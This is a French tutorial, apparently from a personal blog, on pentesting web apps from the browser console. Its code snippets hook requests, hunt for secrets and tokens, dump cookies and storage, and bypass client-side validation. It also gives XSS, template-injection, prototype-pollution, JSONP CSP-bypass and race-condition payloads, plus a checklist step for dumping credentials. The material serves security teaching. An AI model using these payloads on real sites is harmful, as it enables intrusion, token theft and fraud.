JavaScript Pentesting

🎯 Table des matiùres

1. Introduction

2. Configuration initiale

3. Reconnaissance & Fingerprinting

4. Manipulation du DOM

5. Interception & Modification des requĂȘtes

6. Analyse du JavaScript

7. Exploitation des WebSockets

8. Bypass de protections cÎté client

9. Storage & Cookies

10. Event Listeners & Hooks

11. Techniques avancées

12. Outils et extensions


Introduction

Les DevTools (F12) sont un outil puissant pour le pentesting d'applications web. Ce guide couvre les techniques essentielles pour identifier et exploiter les vulnérabilités cÎté client.

Ouvrir les DevTools

  • Chrome/Edge: F12 ou Ctrl+Shift+I
  • Firefox: F12 ou Ctrl+Shift+K
  • Safari: Cmd+Option+I (aprĂšs activation dans PrĂ©fĂ©rences)

Configuration initiale

Désactiver le cache

// Console -> Settings (⚙) -> Disable cache
// Ou via code:
if ('serviceWorker' in navigator) {
    navigator.serviceWorker.getRegistrations().then(registrations => {
        registrations.forEach(reg => reg.unregister());
    });
}

Préserver les logs

// Console Settings -> Preserve log
// EmpĂȘche l'effacement lors des redirections

Mode Device/Mobile

// Ctrl+Shift+M (Chrome)
// Tester les endpoints mobiles différents

Reconnaissance & Fingerprinting

Identifier les frameworks

// Détection automatique
window.jQuery && console.log("jQuery version:", jQuery.fn.jquery);
window.React && console.log("React détecté");
window.Vue && console.log("Vue.js version:", Vue.version);
window.angular && console.log("Angular détecté");

// Détection complÚte
const frameworks = {
    'jQuery': window.jQuery?.fn?.jquery,
    'React': window.React?.version,
    'Vue': window.Vue?.version,
    'Angular': window.angular?.version?.full,
    'Ember': window.Ember?.VERSION,
    'Backbone': window.Backbone?.VERSION,
    'Lodash': window._?.VERSION,
    'Moment': window.moment?.version,
    'Bootstrap': window.bootstrap?.version || $.fn?.tooltip?.Constructor?.VERSION
};

console.table(frameworks);

ÉnumĂ©rer les variables globales

// Lister toutes les variables window
Object.keys(window).filter(key => !key.startsWith('_')).sort();

// Variables personnalisées uniquement
const iframe = document.createElement('iframe');
iframe.style.display = 'none';
document.body.appendChild(iframe);
const cleanWindow = iframe.contentWindow;
const customGlobals = Object.keys(window).filter(key => !(key in cleanWindow));
document.body.removeChild(iframe);
console.log('Custom globals:', customGlobals);

Identifier les endpoints API

// Chercher dans le code source
const scripts = [...document.scripts].map(s => s.src);
const apiUrls = scripts.flatMap(url => {
    return fetch(url)
        .then(r => r.text())
        .then(text => {
            const matches = text.match(/https?:\/\/[^\s"']+api[^\s"']*/gi);
            return matches || [];
        });
});

Promise.all(apiUrls).then(urls => {
    console.log('API Endpoints found:', [...new Set(urls.flat())]);
});

Version des bibliothĂšques

// Chercher les numéros de version dans les scripts
[...document.querySelectorAll('script[src]')].forEach(script => {
    const src = script.src;
    const versionMatch = src.match(/[\d.]+\d/);
    if (versionMatch) {
        console.log(`${src}: ${versionMatch[0]}`);
    }
});

Manipulation du DOM

Modifier le contenu

// Changer le prix d'un produit
document.querySelector('.price').textContent = '0.01€';

// Modifier plusieurs éléments
document.querySelectorAll('.price').forEach(el => el.textContent = '0€');

// Injecter du HTML
document.body.innerHTML += '<div id="admin-panel">Admin Access</div>';

Activer les éléments désactivés

// Activer tous les inputs disabled
document.querySelectorAll('input[disabled], button[disabled]').forEach(el => {
    el.removeAttribute('disabled');
});

// Rendre les champs en lecture seule éditables
document.querySelectorAll('[readonly]').forEach(el => {
    el.removeAttribute('readonly');
});

Rendre visible les éléments cachés

// Afficher tous les éléments display:none
document.querySelectorAll('[style*="display: none"]').forEach(el => {
    el.style.display = 'block';
});

// Afficher les éléments avec visibility:hidden
document.querySelectorAll('[style*="visibility: hidden"]').forEach(el => {
    el.style.visibility = 'visible';
});

// Forcer l'affichage avec !important
const sheet = document.createElement('style');
sheet.textContent = '* { display: block !important; visibility: visible !important; }';
document.head.appendChild(sheet);

Supprimer les overlays gĂȘnants

// Supprimer les modales de paywall
document.querySelectorAll('[class*="modal"], [class*="overlay"], [class*="paywall"]').forEach(el => el.remove());

// Réactiver le scroll
document.body.style.overflow = 'auto';
document.documentElement.style.overflow = 'auto';

Interception & Modification des requĂȘtes

Override de fetch()

// Backup original
const originalFetch = window.fetch;

// Intercepter toutes les requĂȘtes
window.fetch = function(...args) {
    console.log('Fetch intercepted:', args);
    
    // Modifier la requĂȘte
    if (args[0].includes('/api/user')) {
        console.log('API User request detected!');
    }
    
    // ExĂ©cuter la requĂȘte originale
    return originalFetch.apply(this, args)
        .then(response => {
            console.log('Response:', response);
            
            // Cloner pour lire le body sans le consommer
            return response.clone().json().then(data => {
                console.log('Response data:', data);
                return response;
            });
        });
};

Override de XMLHttpRequest

// Backup
const XHR = XMLHttpRequest.prototype;
const open = XHR.open;
const send = XHR.send;

// Intercepter open()
XHR.open = function(method, url) {
    this._url = url;
    this._method = method;
    console.log(`XHR ${method}: ${url}`);
    return open.apply(this, arguments);
};

// Intercepter send()
XHR.send = function(data) {
    console.log(`XHR Data:`, data);
    
    // Intercepter la réponse
    this.addEventListener('load', function() {
        console.log(`XHR Response from ${this._url}:`, this.responseText);
    });
    
    return send.apply(this, arguments);
};

Modifier les headers

const originalFetch = window.fetch;
window.fetch = function(url, options = {}) {
    // Ajouter/Modifier headers
    options.headers = {
        ...options.headers,
        'X-Custom-Header': 'Pentester',
        'Authorization': 'Bearer INJECTED_TOKEN'
    };
    
    console.log('Modified request:', url, options);
    return originalFetch(url, options);
};

Network Override (Chrome)

// Via DevTools -> Network -> Right-click -> Override content
// Permet de modifier les réponses du serveur localement
// Chemin: DevTools -> Sources -> Overrides -> Enable Local Overrides

Analyse du JavaScript

Beautify du code minifié

// Dans Sources -> Clic sur {} (Pretty print)
// Ou copier le code et utiliser:
// https://beautifier.io/

Chercher des secrets dans le code

// Fonction de recherche dans tous les scripts
async function searchInScripts(keyword) {
    const scripts = [...document.scripts].filter(s => s.src);
    const results = [];
    
    for (const script of scripts) {
        try {
            const response = await fetch(script.src);
            const text = await response.text();
            
            if (text.includes(keyword)) {
                results.push({
                    url: script.src,
                    occurrences: (text.match(new RegExp(keyword, 'g')) || []).length
                });
            }
        } catch(e) {
            console.error('Error fetching:', script.src);
        }
    }
    
    return results;
}

// Utilisation
searchInScripts('api_key').then(console.table);
searchInScripts('password').then(console.table);
searchInScripts('secret').then(console.table);
searchInScripts('token').then(console.table);

Extraction de secrets courants

// Regex pour trouver des secrets
const patterns = {
    'API Keys': /[a-zA-Z0-9_-]{32,}/g,
    'JWT Tokens': /eyJ[a-zA-Z0-9_-]+\.eyJ[a-zA-Z0-9_-]+\.[a-zA-Z0-9_-]+/g,
    'AWS Keys': /(AKIA|ASIA)[A-Z0-9]{16}/g,
    'Private Keys': /-----BEGIN (RSA|EC|OPENSSH) PRIVATE KEY-----/g,
    'Google API': /AIza[0-9A-Za-z_-]{35}/g,
    'URLs': /https?:\/\/[^\s"']+/g,
    'Emails': /[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}/g
};

async function extractSecrets() {
    const scripts = [...document.scripts].map(s => s.src || s.textContent);
    const allText = scripts.join('\n');
    
    const findings = {};
    for (const [name, pattern] of Object.entries(patterns)) {
        const matches = allText.match(pattern);
        if (matches && matches.length > 0) {
            findings[name] = [...new Set(matches)];
        }
    }
    
    console.log('🔍 Secrets Found:');
    console.table(findings);
    return findings;
}

extractSecrets();

Debugger et breakpoints

// Breakpoint dans le code
debugger;

// Breakpoint conditionnel dans Sources
// Clic droit -> Add conditional breakpoint
// Condition: username === 'admin'

// Break on DOM modification
// Elements -> Clic droit -> Break on -> subtree modifications

// XHR/Fetch breakpoints
// Sources -> XHR/fetch Breakpoints -> Add -> api/

Déobfuscation basique

// Pour du code obfusqué avec eval
const originalEval = eval;
eval = function(code) {
    console.log('Eval called with:', code);
    return originalEval(code);
};

// Pour Function constructor
const OriginalFunction = Function;
Function = function() {
    console.log('Function constructor:', arguments);
    return OriginalFunction.apply(this, arguments);
};

Exploitation des WebSockets

Intercepter les WebSockets

// Override WebSocket
const OriginalWebSocket = WebSocket;
window.WebSocket = function(url, protocols) {
    console.log('WebSocket created:', url);
    
    const ws = new OriginalWebSocket(url, protocols);
    
    // Intercepter les messages envoyés
    const originalSend = ws.send;
    ws.send = function(data) {
        console.log('WS Send:', data);
        return originalSend.call(this, data);
    };
    
    // Intercepter les messages reçus
    ws.addEventListener('message', (event) => {
        console.log('WS Receive:', event.data);
    });
    
    return ws;
};

Envoyer des messages custom

// Récupérer la connexion WebSocket active
const wsConnection = Object.values(window).find(v => v instanceof WebSocket);

// Envoyer un message
wsConnection.send(JSON.stringify({
    type: 'admin_command',
    action: 'elevate_privileges'
}));

Fuzzing WebSocket

function fuzzWebSocket(ws, payloads) {
    payloads.forEach((payload, index) => {
        setTimeout(() => {
            console.log(`Sending payload ${index}:`, payload);
            ws.send(payload);
        }, index * 1000);
    });
}

const payloads = [
    '{"type":"admin"}',
    '{"userId":-1}',
    '{"userId":0}',
    '{"userId":999999}',
    '{"role":"administrator"}',
    '<script>alert(1)</script>',
    '\x00\x00\x00\x00'
];

fuzzWebSocket(wsConnection, payloads);

Bypass de protections cÎté client

Bypass de validation de formulaire

// Supprimer tous les validateurs
document.querySelectorAll('input, textarea, select').forEach(el => {
    el.removeAttribute('required');
    el.removeAttribute('pattern');
    el.removeAttribute('minlength');
    el.removeAttribute('maxlength');
    el.removeAttribute('min');
    el.removeAttribute('max');
    el.type = el.type === 'email' ? 'text' : el.type;
});

// Soumettre un formulaire sans validation
const form = document.querySelector('form');
form.noValidate = true;
form.submit();

// Ou forcer la soumission
HTMLFormElement.prototype.submit.call(form);

Bypass de copier-coller bloqué

// Réactiver la copie
document.addEventListener('copy', (e) => e.stopImmediatePropagation(), true);
document.addEventListener('cut', (e) => e.stopImmediatePropagation(), true);
document.addEventListener('paste', (e) => e.stopImmediatePropagation(), true);

// Supprimer tous les event listeners
const elements = document.querySelectorAll('*');
elements.forEach(el => {
    const clone = el.cloneNode(true);
    el.parentNode?.replaceChild(clone, el);
});

// Activer le clic droit
document.addEventListener('contextmenu', (e) => e.stopImmediatePropagation(), true);

Bypass de protection de liens

// Si onclick="return false" empĂȘche la navigation
document.querySelectorAll('a[onclick]').forEach(link => {
    const href = link.href;
    link.onclick = null;
    link.href = href;
});

// Extraire les vraies URLs des redirecteurs
document.querySelectorAll('a[href*="redirect"]').forEach(link => {
    const url = new URL(link.href);
    const realUrl = url.searchParams.get('url') || url.searchParams.get('target');
    if (realUrl) {
        link.href = realUrl;
        console.log('Redirector bypassed:', realUrl);
    }
});

Bypass de timer/countdown

// AccĂ©lĂ©rer ou arrĂȘter les timers
const originalSetTimeout = setTimeout;
const originalSetInterval = setInterval;

// Bloquer tous les timers
setTimeout = () => {};
setInterval = () => {};

// Ou les accélérer x100
setTimeout = (fn, delay, ...args) => originalSetTimeout(fn, delay / 100, ...args);
setInterval = (fn, delay, ...args) => originalSetInterval(fn, delay / 100, ...args);

// Restaurer
setTimeout = originalSetTimeout;
setInterval = originalSetInterval;

Storage & Cookies

Manipulation des cookies

// Lire tous les cookies
document.cookie.split(';').forEach(cookie => console.log(cookie.trim()));

// Créer/Modifier un cookie
document.cookie = "admin=true; path=/";
document.cookie = "role=administrator; path=/; domain=.example.com";

// Supprimer un cookie
document.cookie = "session=; expires=Thu, 01 Jan 1970 00:00:00 UTC; path=/;";

// Cookie avec tous les flags
document.cookie = "token=abc123; Secure; HttpOnly; SameSite=Strict; Max-Age=3600";

// Fonction helper
function setCookie(name, value, days = 7) {
    const date = new Date();
    date.setTime(date.getTime() + (days * 24 * 60 * 60 * 1000));
    document.cookie = `${name}=${value}; expires=${date.toUTCString()}; path=/`;
}

LocalStorage & SessionStorage

// Lire tout le storage
console.log('LocalStorage:', {...localStorage});
console.log('SessionStorage:', {...sessionStorage});

// Rechercher dans le storage
function searchStorage(keyword) {
    const results = [];
    
    for (let i = 0; i < localStorage.length; i++) {
        const key = localStorage.key(i);
        const value = localStorage.getItem(key);
        if (key.includes(keyword) || value.includes(keyword)) {
            results.push({storage: 'local', key, value});
        }
    }
    
    for (let i = 0; i < sessionStorage.length; i++) {
        const key = sessionStorage.key(i);
        const value = sessionStorage.getItem(key);
        if (key.includes(keyword) || value.includes(keyword)) {
            results.push({storage: 'session', key, value});
        }
    }
    
    return results;
}

// Utilisation
searchStorage('token');
searchStorage('user');

// Modifier le storage
localStorage.setItem('isAdmin', 'true');
localStorage.setItem('role', 'administrator');

// Écouter les changements
window.addEventListener('storage', (e) => {
    console.log('Storage changed:', e.key, e.oldValue, '->', e.newValue);
});

IndexedDB

// Lister toutes les databases
indexedDB.databases().then(console.log);

// Ouvrir une DB
const request = indexedDB.open('myDatabase');

request.onsuccess = (event) => {
    const db = event.target.result;
    console.log('DB opened:', db.name);
    
    // Lister les stores
    console.log('Object stores:', [...db.objectStoreNames]);
    
    // Lire un store
    const transaction = db.transaction(['users'], 'readonly');
    const store = transaction.objectStore('users');
    const getAllRequest = store.getAll();
    
    getAllRequest.onsuccess = () => {
        console.log('Data:', getAllRequest.result);
    };
};

// Fonction helper pour dumper toute la DB
async function dumpIndexedDB(dbName) {
    return new Promise((resolve) => {
        const request = indexedDB.open(dbName);
        
        request.onsuccess = (event) => {
            const db = event.target.result;
            const stores = {};
            
            [...db.objectStoreNames].forEach(storeName => {
                const transaction = db.transaction([storeName], 'readonly');
                const store = transaction.objectStore(storeName);
                const getAllRequest = store.getAll();
                
                getAllRequest.onsuccess = () => {
                    stores[storeName] = getAllRequest.result;
                    if (Object.keys(stores).length === db.objectStoreNames.length) {
                        resolve(stores);
                    }
                };
            });
        };
    });
}

// Utilisation
dumpIndexedDB('myDatabase').then(console.log);

Event Listeners & Hooks

Lister tous les event listeners

// Récupérer les listeners d'un élément
function getEventListeners(element) {
    // Chrome only
    return window.getEventListeners?.(element) || {};
}

// Lister tous les listeners de la page
function getAllEventListeners() {
    const elements = document.querySelectorAll('*');
    const listeners = {};
    
    elements.forEach(el => {
        const elListeners = getEventListeners(el);
        if (Object.keys(elListeners).length > 0) {
            listeners[el.tagName + (el.id ? '#' + el.id : '')] = elListeners;
        }
    });
    
    return listeners;
}

console.log(getAllEventListeners());

Hooker addEventListener

// Override addEventListener pour tout logger
const originalAddEventListener = EventTarget.prototype.addEventListener;

EventTarget.prototype.addEventListener = function(type, listener, options) {
    console.log('Event listener added:', {
        type,
        element: this,
        listener: listener.toString().substring(0, 100)
    });
    
    return originalAddEventListener.call(this, type, listener, options);
};

Trigger des événements

// Trigger un événement
function triggerEvent(element, eventType) {
    const event = new Event(eventType, { bubbles: true, cancelable: true });
    element.dispatchEvent(event);
}

// Exemples
triggerEvent(document.querySelector('#submit-btn'), 'click');
triggerEvent(document.querySelector('input'), 'change');

// ÉvĂ©nements custom
const customEvent = new CustomEvent('admin-access', {
    detail: { userId: 1, role: 'admin' }
});
document.dispatchEvent(customEvent);

Techniques avancées

Prototype Pollution

// Test de pollution
Object.prototype.isAdmin = true;

// Vérifier l'impact
const user = {};
console.log(user.isAdmin); // true

// Pollution via merge
function merge(target, source) {
    for (let key in source) {
        if (typeof source[key] === 'object') {
            target[key] = merge(target[key] || {}, source[key]);
        } else {
            target[key] = source[key];
        }
    }
    return target;
}

// Payload
const payload = JSON.parse('{"__proto__":{"isAdmin":true}}');
merge({}, payload);

// Test
const newUser = {};
console.log(newUser.isAdmin); // true si vulnérable

Client-Side Template Injection (CSTI)

// Angular
{{constructor.constructor('alert(1)')()}}
{{$on.constructor('alert(1)')()}}

// Vue.js
{{_c.constructor('alert(1)')()}}

// React (rare car JSX compile)
// Chercher dangerouslySetInnerHTML

// Test dans la console
document.body.innerHTML = '{{7*7}}'; // Si ça affiche 49, c'est vulnérable

PostMessage exploitation

// Écouter tous les postMessage
window.addEventListener('message', (event) => {
    console.log('PostMessage received:', {
        origin: event.origin,
        data: event.data,
        source: event.source
    });
});

// Envoyer un postMessage malveillant
window.postMessage({
    type: 'admin_command',
    action: 'grant_access'
}, '*');

// Vers une iframe
const iframe = document.querySelector('iframe');
iframe.contentWindow.postMessage('malicious payload', '*');

DOM Clobbering

// Créer des éléments avec des IDs qui clobberent des variables
const img = document.createElement('img');
img.name = 'isAdmin';
img.id = 'isAdmin';
document.body.appendChild(img);

console.log(window.isAdmin); // Référence l'image, pas undefined

// Exploitation
if (window.adminPanel) {
    // Code pense que adminPanel existe
}
// Créer <div id="adminPanel"></div> pour bypasser

Bypass CSP via JSONP

// Si CSP autorise un domaine avec JSONP
const script = document.createElement('script');
script.src = 'https://trusted-domain.com/jsonp?callback=alert';
document.body.appendChild(script);

// Callback XSS
// https://trusted-domain.com/jsonp?callback=alert(document.domain)//

Race Condition

// Envoyer plusieurs requĂȘtes simultanĂ©es
async function raceCondition(url, count = 10) {
    const promises = [];
    
    for (let i = 0; i < count; i++) {
        promises.push(
            fetch(url, {
                method: 'POST',
                body: JSON.stringify({ action: 'withdraw', amount: 100 })
            })
        );
    }
    
    const results = await Promise.all(promises);
    console.log('Race condition results:', results);
}

raceCondition('/api/transaction');

Memory Leak Detection

// Forcer le garbage collector (Chrome avec --js-flags="--expose-gc")
if (window.gc) {
    console.log('Before GC:', performance.memory.usedJSHeapSize);
    gc();
    console.log('After GC:', performance.memory.usedJSHeapSize);
}

// Monitorer la mémoire
setInterval(() => {
    if (performance.memory) {
        console.log('Memory:', {
            used: (performance.memory.usedJSHeapSize / 1048576).toFixed(2) + ' MB',
            total: (performance.memory.totalJSHeapSize / 1048576).toFixed(2) + ' MB',
            limit: (performance.memory.jsHeapSizeLimit / 1048576).toFixed(2) + ' MB'
        });
    }
}, 5000);

Outils et extensions

Extensions Chrome recommandées

1. Wappalyzer - Identifier les technologies
2. Cookie-Editor - Manipuler les cookies
3. EditThisCookie - Alternative pour cookies
4. Tamper Chrome - Modifier les requĂȘtes HTTP
5. User-Agent Switcher - Changer le User-Agent
6. ModHeader - Modifier les headers HTTP
7. Postman Interceptor - Capturer les requĂȘtes
8. React Developer Tools - Debug React
9. Vue.js devtools - Debug Vue
10. Redux DevTools - Debug Redux state

Scripts utiles Ă  bookmark

// Bookmarklet pour afficher tous les mots de passe
javascript:(function(){document.querySelectorAll('input[type="password"]').forEach(el=>el.type='text');})();

// Bookmarklet pour activer tous les éléments
javascript:(function(){document.querySelectorAll('[disabled]').forEach(el=>el.removeAttribute('disabled'));})();

// Bookmarklet pour extraire tous les liens
javascript:(function(){console.log([...document.links].map(l=>l.href));})();

// Bookmarklet dump storage
javascript:(function(){console.log({cookies:document.cookie,localStorage:{...localStorage},sessionStorage:{...sessionStorage}});})();

Console snippets utiles

// Sources -> Snippets -> New snippet

// 1. Dump all data
function dumpAll() {
    return {
        cookies: document.cookie,
        localStorage: {...localStorage},
        sessionStorage: {...sessionStorage},
        globals: Object.keys(window).filter(k => !k.startsWith('_')),
        forms: [...document.forms].map(f => ({
            action: f.action,
            method: f.method,
            fields: [...f.elements].map(e => ({
                name: e.name,
                type: e.type,
                value: e.value
            }))
        }))
    };
}

// 2. XSS Scanner basique
function scanXSS() {
    const payloads = ['<script>alert(1)</script>', '"><img src=x onerror=alert(1)>'];
    const inputs = document.querySelectorAll('input, textarea');
    
    inputs.forEach(input => {
        payloads.forEach(payload => {
            input.value = payload;
            input.dispatchEvent(new Event('input', { bubbles: true }));
            
            setTimeout(() => {
                if (document.body.innerHTML.includes(payload)) {
                    console.warn('Possible XSS:', input.name, payload);
                }
            }, 100);
        });
    });
}

// 3. Fuzzer d'inputs
function fuzzInputs() {
    const fuzzes = [
        'admin', '1', '-1', '0', '999999',
        "'", '"', '<', '>', '\\', 
        '../', '..\\', '%00', '%0d%0a',
        '<script>', '${7*7}', '{{7*7}}'
    ];
    
    document.querySelectorAll('input, textarea').forEach(input => {
        fuzzes.forEach(fuzz => {
            input.value = fuzz;
            console.log(`Testing ${input.name} with: ${fuzz}`);
            input.form?.submit();
        });
    });
}

Performance monitoring

// Monitorer les performances
const observer = new PerformanceObserver((list) => {
    for (const entry of list.getEntries()) {
        console.log('Performance:', entry.name, entry.duration);
    }
});

observer.observe({ entryTypes: ['measure', 'navigation', 'resource'] });

// Analyser les ressources lentes
performance.getEntriesByType('resource')
    .filter(r => r.duration > 1000)
    .sort((a, b) => b.duration - a.duration)
    .forEach(r => console.log(`Slow: ${r.name} - ${r.duration}ms`));

Checklist Pentest JavaScript

Phase 1: Reconnaissance

  • Identifier les frameworks et versions
  • ÉnumĂ©rer les variables globales
  • Extraire les endpoints API
  • Chercher des secrets/tokens dans le code
  • Identifier les WebSockets
  • Analyser les cookies et storage

Phase 2: Analyse

  • Beautify le code minifiĂ©
  • Rechercher les fonctions sensibles (auth, admin, etc.)
  • Identifier les validations cĂŽtĂ© client
  • Analyser les event listeners
  • Examiner les postMessage
  • VĂ©rifier le CSP

Phase 3: Exploitation

  • Bypass validations client-side
  • Test XSS dans tous les inputs
  • Test CSTI (template injection)
  • Test prototype pollution
  • Test race conditions
  • Manipulation du DOM pour Ă©lĂ©vation de privilĂšges
  • Test d'injection dans WebSockets
  • Fuzzing des API endpoints

Phase 4: Post-exploitation

  • Extraire toutes les donnĂ©es sensibles
  • Dump des credentials
  • Capture du trafic rĂ©seau
  • Documentation des vulnĂ©rabilitĂ©s

Resources & References

Documentation

Tools

Practice


Disclaimer

⚠ IMPORTANT: Ce guide est destinĂ© uniquement Ă  des fins Ă©ducatives et pour des tests autorisĂ©s sur vos propres applications ou dans le cadre de programmes de bug bounty lĂ©gitimes.

L'utilisation de ces techniques sur des systÚmes sans autorisation explicite est illégale et peut entraßner des poursuites judiciaires.

Testez toujours de maniÚre éthique et responsable.


Auteur: NADHMI Version: 1.0 Date: Décembre 2024 License: Pour usage éducatif uniquement

Let's Connect

Have a project in mind or want to discuss cybersecurity? Let's talk!